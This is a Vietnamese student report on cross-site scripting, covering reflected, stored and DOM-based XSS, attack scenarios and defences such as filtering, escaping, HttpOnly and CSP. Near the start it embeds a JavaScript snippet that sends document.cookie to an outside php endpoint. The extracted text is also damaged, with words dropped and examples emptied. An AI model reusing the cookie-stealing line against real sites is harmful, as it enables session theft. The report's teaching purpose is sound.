CrossSite Scripting hay còn được gọi tắt là XSS là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm được chèn vào hầu hết được viết bằng các ClientSite Script như JavaScript, VBScript và cũng có thể là cả các thẻ HTML, CSS ..., khi người dùng vào những trang web này thì mã độc sẽ được thực thi trên máy người dùng.
BỘ GIÁO DỤC VÀ ĐÀO TẠO HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THƠNG KHOA CƠNG NGHỆ THƠNG TIN BÁO CÁO BÀI TẬP LỚN KỸ THUẬT TẤN CÔNG XSS Mục Lục I Tìm hiểu chung Khái niệm Các bước thực công XSS .4 Các cách thức lừa người dùng .5 II Các dạng công Reflected XSS .5 1.1 Đặc điểm 1.2 Kịch công Stored XSS 2.1 Đặc điểm 2.2 Kịch công DOM-based XSS 3.1 Khái niệm DOM .8 3.2 Đặc điểm 3.3 Kịch công 10 So sánh khác loại .10 4.1 Sự khác Reflected XSS, DOM-Based XSS Stored XSS .10 4.2 Sự khác Reflected XSS DOM-Based XSS .11 III Mức độ nguy hiểm 11 IV Biện pháp phòng chống .11 Lọc (XSS Filter) 11 Thoát khỏi XSS (XSS Escape) 12 Đặt cờ HttpOnly 12 Sử dụng CSP 13 V Demo 13 Reflected XSS 13 Stored XSS 13 DOM-Based XSS (Dựng web) 13 Các biện pháp phòng chống (XSS filter, XSS escape, HttpOnly ) (Dựng web) .13 I Tìm hiểu chung Khái niệm Cross-Site Scripting hay gọi tắt XSS kĩ thuật công cách chèn vào website động (ASP, PHP, JSP ) thẻ HTML hay đoạn mã script nguy hiểm gây nguy hại cho người sử dụng khác Trong đó, đoạn mã nguy hiểm chèn vào hầu hết viết Client-Site Script JavaScript, VBScript thẻ HTML, CSS , người dùng vào trang web mã độc thực thi máy người dùng Cross-Site Scripting (XSS) kĩ thuật công phổ biến nay, đồng thời vấn đề bảo mật quan trọng nhà phát triển web người sử dụng web Bất kì website cho phép người sử dụng nhập thông tin (form, url…) mà khơng có kiểm tra chặt chẽ đoạn mã nguy hiểm tiềm ẩn lỗi XSS Theo trang web https://owasp.org/Top10/ cơng sử kĩ thuật XSS đưa vào mối đe dọa nghiêm trọng với ứng dụng web Theo trang https://www.securecoding.com/blog/xss-attacks/ ước tính cơng XSS chiếm 30% tất công web var a = new Image(); var x1 = "https://xssqaz11.000webhostapp.com/"; var x2 = "c.php?c="; var x3 = document.cookie; a.src=x1+x2+x3; var b = new Image(); b.src=`${(x1)}${(x2)}${(x3)}`; XSS cho phép kẻ công: - Đánh cắp thông tin nhạy cảm người dùng lưu cookie trình duyệt: Kẻ cơng đánh cắp thông tin lưu cookie người dùng session cho phép kẻ công đăng nhập với tư cách người dùng mà không cần phải xác thực - Keylogging: Kẻ cơng bắt phím gõ người dùng gửi tất số lần gõ phím đến máy chủ họ, từ đánh cắp thông tin tài khoản ngân hàng, email thông tin đăng nhập dịch vụ trả tiền, - Giả mạo: Kẻ cơng chèn form giả mạo, quảng cáo vào trang web cách thay đổi cấu trúc HTML khiến người dùng tự tiết lộ liệu nhạy cảm cách thao tác với form - Quét cổng dịch vụ: Kẻ công sử dụng script độc hại để quét mạng nội xác định máy khác hoạt động mạng người dùng Các bước thực cơng XSS - Hacker tìm kiếm trang web chứa lỗ hổng XSS, chèn mã độc vào web - Hacker lừa người dùng vào trang web chứa mã độc cách sử dụng kỹ thuật phishing - Sau người dùng nhấn vào đường link, đoạn mã độc hại thực thi, thông tin cần thiết token, cookie , chuyển máy chủ hacker - Từ đó, hacker thâm nhập vào tài khoản người dùng, đăng nhập vào trang web mà không cần thông qua xác thực Các cách thức lừa người dùng - Các trang, biểu mẫu giả mạo hiển thị phía người dùng (nơi người dùng nhập thông tin đăng nhập, …) - Quảng cáo hiển thị trang web - Email độc hại gửi đến người dùng: giả mạo tổ chức lớn, đáng tin cậy để gửi mail đến cho người dùng, II Các dạng cơng Để lấy session nạn nhân với mục đích đăng nhập mà khơng cần xác thực phải có điều kiện nạn nhân đăng nhập vào trang web chứa mã độc Reflected XSS 1.1 Đặc điểm Reflected XSS dạng công thường gặp loại công XSS Loại công xảy ứng dụng web phản hồi tới trình duyệt người dùng tập lệnh độc hại, sau trình duyệt thực thi mã độc Mã độc thường nằm liên kết, liên kết gửi yêu cầu đến trang web có lỗ hổng cho phép thực thi mã độc Hacker gửi trực tiếp liên kết có chứa mã độc cho người dùng, người dùng nhấn vào liên kết trang web load chung với đoạn script độc hại Những đoạn script độc hại gắn trực tiếp request mà hacker gửi cho nạn nhân Reflected XSS kiểu công mà mã độc client gửi lên thêm vào request mã độc thêm vào response mà server trả Reflected XSS xảy đầu vào không kiểm tra cách kĩ dẫn đến việc kẻ cơng lợi dụng chèn mã độc 1.2 Kịch cơng - Đầu tiên, hacker tìm cách gửi cho nạn nhân địa URL dẫn đến trang web có chứa mã độc ví dụ như: http://example.com/search? keyword= Hacker dùng số cách gửi qua địa email (giả mạo tổ chức uy tín), tin nhắn, chia sẻ … hay gọi chung kĩ thuật Phishing attack - Sau người dùng click vào đường link đó, dẫn đến trang mà hacker mã độc gắn request load với trang web Sau trình duyệt thực thi mã độc gửi thông tin cần thiết nạn nhân thường cookie session id đến máy chủ hacker - Khi tùy vào mục đích hacker chiếm phiên làm việc nạn nhân thông qua session id cookie tệ lấy tồn thông tin cá nhân nạn nhân lưu trình duyệt ví dụ mật tài khoản ngân hàng, mạng xã hội Stored XSS 2.1 Đặc điểm Stored XSS dạng công mà hacker chèn mã độc vào server điển hình sở liệu Dạng công xảy liệu gửi lên server không kiểm tra kỹ lưỡng mà lưu trực tiếp vào server Khi người dùng truy cập vào trang web đoạn script độc hại tải từ server thực thi chung với trình tải trang web Các đoạn script thường chèn vào website thông qua chức như: viết bình luận, đăng bài, đơn góp ý, Vì vậy, Stored XSS kiểu cơng nguy hiểm mã độc lưu server thực thi tất người dùng truy cập đến 2.2 Kịch cơng - Trước tiên, hacker khai thác lỗi Stored XSS website cách tìm form (khung đăng ký, khung comment, khung liên hệ …) không kiểm tra kỹ liệu đầu vào tiến hành chèn đoạn mã độc vào sở liệu - Sau người dùng truy cập vào trang web, mã độc tải từ server, sau đoạn script độc hại chạy chung với trang web - Khi đoạn script thực thi, tùy vào mục đích hacker, đoạn script gửi cho hacker thông tin cookie, session, DOM-based XSS 3.1 Khái niệm DOM DOM viết tắt Document Object Model tiêu chuẩn W3C đưa nhằm để truy xuất thao tác liệu tài liệu có cấu trúc HTML, XML Mơ hình thể tài liệu dạng cấu trúc phân cấp Mỗi thành phần HTML, XML xem node Ví dụ: HTML DOM mơ hình tiêu chuẩn cho tài liệu HTML.HTML DOM xác định thứ sau: - Các phần tử HTML (các thẻ) đối tượng Các phần tử biểu diễn dạng phân cấp - Các tính chất tất phần tử HTML (innerHTML, innerText…) - Các kiện tất phần tử html (click, focus…) - Các phương thức để thao tác vào phần tử html Để hiểu thêm DOM-based XSS ta cần biết khái niệm: - Source: vị trí mà mã độc chứa ứng dụng lấy mã độc từ vị trí Có loại source khác (chi tiết xem https://domgo.at/cxss/sources/somevalue) - Sink: nơi mà mã độc truyền vào từ source thực thi Nói cách khác, sink method property nguy hiểm thực mã độc lấy từ source Có loại sink khác (đối với ngôn ngữ sử dụng js) (chi tiết xem https://domgo.at/cxss/sinks) 3.2 Đặc điểm DOM-based XSS dạng cơng khai thác q trình xử lý liệu thực bên phía máy khách (client) thường dùng JavaScript để xử lý Mã độc đọc từ source đưa vào sink sau mã độc thực thi Việc đọc mã độc thực thi mã độc diễn hồn tồn trình duyệt Ví dụ: - Source: location.href - Sink: inner.HTML - Mã độc: Giá trị name 3.3 Kịch công - Đầu tiên kẻ cơng phát website bị dính lỗi DOM-based XSS cách sử dụng công cụ Burp Suite’s, cách tìm kiếm thủ cơng cơng cụ dành cho nhà phát triển có trình duyệt Chrome, Firefox,… - Kẻ cơng tiến hành chèn mã độc vào gửi URL cho nạn nhân qua email, facebook, - Sau nạn nhân nhấn vào URL sau thực vài thao tác, tùy thuộc vào mục đích kẻ công mà thông tin người dùng gửi cho hacker ví dụ cookie, - Sau hacker chiếm phiên người dùng để đánh cắp thông tin nhạy cảm So sánh khác loại 4.1 Sự khác Reflected XSS, DOM-Based XSS Stored XSS Để khai thác Reflected XSS hay DOM-Based XSS kẻ công phải lừa người dùng đăng nhập truy cập vào URL chứa mã độc mã độc không cần lưu vào server Trong đó, Stored XSS khơng cần phải thực việc này, sau chèn mã độc vào server, kẻ công cần chờ người dùng tự động truy cập vào chức liên quan bình luận, đánh giá… Reflected DOM-Based XSS thuộc dạng XSS khơng liên tục (NonPersistent) cịn Stored XSS thuộc dạng XSS liên tục (Persistent) Persistent việc Hacker cách lưu mã độc vào CSDL trang web mã độc thực thi mà người dùng tải truy cập trang web Non Persistent việc hacker chèn mã độc trực tiếp vào trang mã độc chạy mà người dùng truy cập vào trang web 4.2 Sự khác Reflected XSS DOM-Based XSS Reflected XSS: mã độc request gửi lên server response trả trực tiếp chứa mã độc Vì gọi reflected XSS (phản chiếu) DOM-Based XSS: mã độc request gửi lên server response trả khơng chứa trực tiếp mã độc mà chứa đoạn mã script để thực việc lấy mã độc từ source sau truyền vào sink để thực mã độc Nó liên quan tới việc sử dụng method, property, thay đổi cấu trúc HTML 10 Mà DOM định nghĩa method, property, cấu trúc nên gọi DOMBased XSS (dựa vào DOM) III Mức độ nguy hiểm - Đối với người dùng thông thường: Hacker sử dụng tài khoản nạn nhân đề chiếm đoạt tài sản: + Với tài khoản MXH: hacker nhắn tin với bạn bè nạn nhân để vay tiền, nhờ toán hộ, + Với tài khoản ngân hàng: chiếm đoạt tiền tài khoản + Hacker giả danh cơng an, cảnh sát gọi điện cho nạn nhân để thông báo họ dính vào vụ án đó, sau hacker đọc thông tin cá nhân vừa đánh cắp nhằm tạo dựng niềm tin yêu cầu nạn nhân chuyển tiền - Đối với chủ website: + Gây tổn hại đến danh tiếng, uy tín + Tốn thời gian, cơng sức, tiền bạc để tìm lỗi khắc phục IV Biện pháp phòng chống Lọc (XSS Filter) - Không tin liệu người dùng đưa vào Lọc thẻ thuộc tính hỗ trợ việc cơng xss (, , onerror, onfocus…) - Sử dụng lọc tự tạo từ thư viện để lọc bỏ thẻ HTML/CSS/scripts khỏi liệu nhập từ người dùng Sử dụng thư viện HtmlSanitizer có sẵn OWASP để làm liệu đầu vào cách tạo danh sách thẻ thuộc tính phép sử dụng Ngồi cịn có DOMPurity, PHP HTML Purifier, Python Bleach, - Sử dụng biểu thức quy (Regular Expressions) để tăng hiệu lọc - Các lọc cần cập nhật thường xuyên để theo kịp thay đổi kỹ thuật công XSS - Các lọc liệu nhập phải thực máy chủ (server-side scripts) lọc máy khách bị loại bỏ cách dễ dàng 11 - Có thể gây khó khăn cho người dùng việc nhập text Thốt khỏi XSS (XSS Escape) - Vơ hiệu hóa công XSS cách thay ký tự riêng HTML/scripts để chuyển đoạn mã thực thành liệu thơng thường thực XSS Escape chặn XSS mà người dùng khơng bị hạn chế nhập text Ví dụ kí tự thường cần mã hóa HTM Kí tự Chuyển đổi & & < < > > " " ' ' Đặt cờ HttpOnly - HttpOnly cờ bổ sung thêm vào HTTP response header Set-Cookie Mục đích thuộc tính httponly bảo cookie khỏi việc truy cập trái phép từ browser Chỉ lưu gửi kèm cookie phản hồi từ client tới server Việc làm hạn chế can thiệp từ trình duyệt giúp hạn chế rủi ro từ công đánh cắp cookie - Nếu cookie set cờ HttpOnly, khơng thể bị truy cập mã Javascript Điều có nghĩa hacker khơng thể nhận cookie Sử dụng CSP - CSP sách bảo mật nội dung, sử dụng để xác định nguồn nội dung an toàn website mà trình duyệt tải cho người dùng CSP biện pháp đối phó hiệu với kiểu hack chèn mã độc Cross Site Scripting (XSS) - Để cho phép CSP, cấu hình cho server trả ContentSecurity-Policy HTTP header sử dụng thơng qua thẻ - số tên directive: 12 script-src: Chỉ định nguồn load tài nguyên js style-src: Chỉ định nguồn load tài nguyên css image-src: Chỉ định nguồn load tài nguyên ảnh font-src: Chỉ định nguồn load tài nguyên font - số giá trị CSP directive: *: nghĩa tất self: định domain truy cập none: không cho phép từ nguồn *.domain.com: cho phép load resource từ subdomain domain domain.com https: cho phép load từ trang https - Ví dụ: Content-Security-Policy: script-src: ‘self’ trust.com Trình duyệt cho phép tải js từ nguồn: domain truy cập trust.com V Demo Reflected XSS Stored XSS DOM-Based XSS (Dựng web) Các biện pháp phòng chống (XSS filter, XSS escape, HttpOnly ) (Dựng web) 13 ... độc vào CSDL trang web mã độc thực thi mà người dùng tải truy cập trang web Non Persistent việc hacker chèn mã độc trực tiếp vào trang mã độc chạy mà người dùng truy cập vào trang web 4.2 Sự khác... XSS - Hacker tìm kiếm trang web chứa lỗ hổng XSS, chèn mã độc vào web - Hacker lừa người dùng vào trang web chứa mã độc cách sử dụng kỹ thuật phishing - Sau người dùng nhấn vào đường link, đoạn... dùng vào trang web mã độc thực thi máy người dùng Cross-Site Scripting (XSS) kĩ thuật công phổ biến nay, đồng thời vấn đề bảo mật quan trọng nhà phát triển web người sử dụng web Bất kì website